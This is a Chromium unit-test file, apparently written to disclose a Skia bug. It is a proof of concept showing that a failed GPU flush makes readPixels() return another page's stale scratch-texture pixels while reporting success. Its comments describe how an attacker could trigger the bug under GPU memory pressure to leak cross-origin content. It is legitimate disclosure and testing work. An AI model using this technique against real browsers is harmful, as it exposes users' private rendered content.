// Copyright 2025 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// POC: Ganesh SurfaceContext::readPixels() canvas2DFastPath/kCopyToTexture2D
// uses an internally-created kApprox scratch render target whose contents are
// recycled from GrResourceCache. The flushSurface() return value is ignored
// before GrGpu::readPixels(), and GrDrawingManager::flush() silently drops all
// queued render tasks (including the fillRectToRectWithFP that was supposed to
// overwrite the scratch contents) whenever any GrOnFlushCallbackObject::preFlush
// returns false (e.g. AtlasPathRenderer atlas allocation failure under GPU
// memory pressure) or GrResourceAllocator::assign() fails. The recycled
// texture's prior-occupant pixels are then copied into the caller's buffer with
// a success return.
//
// This test models the production trigger (preFlush failure under GPU OOM) by
// registering a GrOnFlushCallbackObject that returns false, then demonstrates
// that readPixels() returns stale scratch-cache pixels instead of the source
// surface's pixels.

#include <cstdint>
#include <cstring>
#include <memory>

#include "base/logging.h"
#include "gpu/command_buffer/service/shared_image/shared_image_test_base.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/skia/include/core/SkAlphaType.h"
#include "third_party/skia/include/core/SkCanvas.h"
#include "third_party/skia/include/core/SkColor.h"
#include "third_party/skia/include/core/SkColorSpace.h"
#include "third_party/skia/include/core/SkColorType.h"
#include "third_party/skia/include/core/SkImageInfo.h"
#include "third_party/skia/include/core/SkSurface.h"
#include "third_party/skia/include/gpu/GpuTypes.h"
#include "third_party/skia/include/gpu/ganesh/GrDirectContext.h"
#include "third_party/skia/include/gpu/ganesh/SkSurfaceGanesh.h"

// Skia-private headers (resolved via //third_party/skia include dir; symbols
// available because Skia is statically linked into this test binary).
#include "src/gpu/ganesh/GrDirectContextPriv.h"           // nogncheck
#include "src/gpu/ganesh/GrOnFlushResourceProvider.h"     // nogncheck
#include "src/gpu/ganesh/GrRecordingContextPriv.h"        // nogncheck

namespace gpu {
namespace {

// Mimics AtlasPathRenderer::preFlush() returning false on atlas-allocation
// failure (third_party/skia/src/gpu/ganesh/ops/AtlasPathRenderer.cpp:447) or
// GrResourceAllocator::assign() failing for a co-pending lazy proxy under GPU
// memory pressure. In production a compromised renderer would induce this via
// GPU OOM; here we model it directly.
class FailingOnFlushCallback final : public GrOnFlushCallbackObject {
 public:
  bool preFlush(GrOnFlushResourceProvider*) override {
    ++fire_count_;
    return !armed_;
  }
  bool retainOnFreeGpuResources() override { return true; }

  void Arm() { armed_ = true; }
  void Disarm() { armed_ = false; }
  int fire_count() const { return fire_count_; }

 private:
  bool armed_ = false;
  int fire_count_ = 0;
};

// "Victim" pixel value that a prior occupant of the scratch texture left
// behind. In a real attack this would be cross-origin rendered content.
constexpr uint32_t kVictimRGBA = 0xFF112233u;  // R=0x33 G=0x22 B=0x11 A=0xFF
constexpr SkColor kVictimColor = SkColorSetARGB(0xFF, 0x33, 0x22, 0x11);

// Fresh source pixel value — what readPixels() *should* return.
constexpr uint32_t kSourceRGBA = 0xFF008800u;  // R=0x00 G=0x88 B=0x00 A=0xFF
constexpr SkColor kSourceColor = SkColorSetARGB(0xFF, 0x00, 0x88, 0x00);

// 100x100 → GetApproxSize() → 128x128. Distinct from the 256x256 surfaces that
// validPMUPMConversionExists() creates internally, so its scratch textures
// don't collide with ours.
constexpr int kSize = 100;

class GaneshReadPixelsStaleScratchTest : public SharedImageTestBase {
 public:
  void SetUp() override {
    ASSERT_NO_FATAL_FAILURE(InitializeContext(GrContextType::kGL));
    ASSERT_TRUE(gr_context()) << "No Ganesh GrDirectContext";
  }
};

TEST_F(GaneshReadPixelsStaleScratchTest, StaleScratchReturnedOnPreFlushFailure) {
  GrDirectContext* dctx = gr_context();

  // canvas2DFastPath requires src=premul RGBA8, dst=unpremul RGBA8, no color
  // space conversion (SurfaceContext.cpp:155-162).
  SkImageInfo src_info = SkImageInfo::Make(
      kSize, kSize, kRGBA_8888_SkColorType, kPremul_SkAlphaType, nullptr);
  SkImageInfo dst_info = SkImageInfo::Make(
      kSize, kSize, kRGBA_8888_SkColorType, kUnpremul_SkAlphaType, nullptr);

  sk_sp<SkSurface> src = SkSurfaces::RenderTarget(
      dctx, skgpu::Budgeted::kYes, src_info, /*sampleCount=*/0,
      kTopLeft_GrSurfaceOrigin, /*surfaceProps=*/nullptr);
  ASSERT_TRUE(src);

  // canvas2DFastPath also requires validPMUPMConversionExists()==true. This
  // test runs once and is cached (GrDirectContextPriv.cpp:341-349). Prime it
  // now so its internal flush doesn't interfere with the failing callback
  // later, and so we can skip if the GPU doesn't support it.
  if (!dctx->priv().validPMUPMConversionExists()) {
    GTEST_SKIP() << "validPMUPMConversionExists()==false; canvas2DFastPath "
                    "branch not reachable on this GPU";
  }

  std::vector<uint32_t> pixels(static_cast<size_t>(kSize) * kSize, 0u);
  const size_t row_bytes = static_cast<size_t>(kSize) * sizeof(uint32_t);

  // ---------------------------------------------------------------------------
  // Phase 1: Prime the GrResourceCache scratch pool.
  //
  // Clear the source to the "victim" color and readPixels() with an unpremul
  // destination. This takes the canvas2DFastPath branch (SurfaceContext.cpp:
  // 174-256), which creates a kApprox temp SFC, queues fillRectToRectWithFP,
  // and recursively calls readPixels(). The flush succeeds (no failing
  // callback yet), so the temp texture is filled with kVictimColor and read
  // back. When the temp SFC is destroyed the texture returns to the scratch
  // cache *still containing victim pixels*.
  // ---------------------------------------------------------------------------
  src->getCanvas()->clear(kVictimColor);
  dctx->flushAndSubmit(src.get());
  ASSERT_TRUE(src->readPixels(dst_info, pixels.data(), row_bytes, 0, 0));
  ASSERT_EQ(pixels[0], kVictimRGBA)
      << "Phase 1 readback didn't take canvas2DFastPath as expected";

  // ---------------------------------------------------------------------------
  // Phase 2: Overwrite the source with fresh pixels and flush *successfully*
  // so the source texture genuinely contains kSourceColor on the GPU.
  // ---------------------------------------------------------------------------
  src->getCanvas()->clear(kSourceColor);
  dctx->flushAndSubmit(src.get());

  // ---------------------------------------------------------------------------
  // Phase 3: Register a GrOnFlushCallbackObject whose preFlush() returns
  // false. This models AtlasPathRenderer::preFlush() failing on atlas
  // allocation under attacker-induced GPU memory pressure, which causes
  // GrDrawingManager::flush() to skip executeRenderTasks() and silently
  // discard all queued render tasks (GrDrawingManager.cpp:172-211).
  // ---------------------------------------------------------------------------
  // The callback object must outlive the GrDirectContext (which is destroyed
  // in SharedImageTestBase::~SharedImageTestBase after this test body), so
  // give it static storage duration.
  static FailingOnFlushCallback failing_cb;
  dctx->priv().addOnFlushCallbackObject(&failing_cb);
  failing_cb.Arm();

  // ---------------------------------------------------------------------------
  // Phase 4: Trigger the vulnerable readPixels().
  //
  // SurfaceContext::readPixels() takes canvas2DFastPath again:
  //  - makeSFC(kApprox) creates a fresh temp proxy (SurfaceContext.cpp:194)
  //  - fillRectToRectWithFP queues an OpsTask to copy src→temp (L216)
  //  - recursive readPixels(temp) (L256):
  //      - temp proxy instantiated at L133 → GrResourceProvider::
  //        createApproxTexture() → findAndRefScratchTexture() recycles the
  //        Phase-1 scratch texture (still containing kVictimColor)
  //      - flushSurface() at L294 → GrDrawingManager::flush(): preFlush
  //        returns false → executeRenderTasks() skipped → removeRenderTasks()
  //        discards the fillRectToRectWithFP. Return value IGNORED.
  //      - GrGpu::readPixels(srcSurface=recycled texture) at L296 copies the
  //        STALE victim pixels into our buffer and returns true.
  // ---------------------------------------------------------------------------
  std::fill(pixels.begin(), pixels.end(), 0u);
  bool ok = src->readPixels(dst_info, pixels.data(), row_bytes, 0, 0);

  LOG(ERROR) << "===========================================================";
  LOG(ERROR) << "readPixels() returned: " << (ok ? "true" : "false");
  LOG(ERROR) << "preFlush() fired " << failing_cb.fire_count()
             << " time(s) total";
  LOG(ERROR) << "Expected (source) pixel: 0x" << std::hex << kSourceRGBA;
  LOG(ERROR) << "Stale (victim)   pixel: 0x" << std::hex << kVictimRGBA;
  LOG(ERROR) << "Actual readback  pixel[0,0]: 0x" << std::hex << pixels[0];
  LOG(ERROR) << "Actual readback  pixel[50,50]: 0x" << std::hex
             << pixels[50 * kSize + 50];
  LOG(ERROR) << "===========================================================";

  // In production this would be the renderer's SHM buffer with *result=1.
  EXPECT_TRUE(ok) << "readPixels() should report success despite dropped flush";

  // The bug: stale scratch-cache pixels are returned instead of source pixels.
  // If this assertion HOLDS, the vulnerability is demonstrated.
  EXPECT_EQ(pixels[0], kVictimRGBA)
      << "BUG DEMONSTRATED if equal: readPixels() returned the prior "
         "occupant's pixels from the recycled kApprox scratch texture.";
  EXPECT_NE(pixels[0], kSourceRGBA)
      << "If this fails (pixels==source), the fillRectToRectWithFP somehow "
         "executed despite preFlush() returning false.";

  // Disarm so SharedImageTestBase teardown flushes work normally.
  // (Can't remove the callback without GPU_TEST_UTILS; leaving it disarmed is
  // sufficient since preFlush() will then return true.)
  failing_cb.Disarm();
}

}  // namespace
}  // namespace gpu
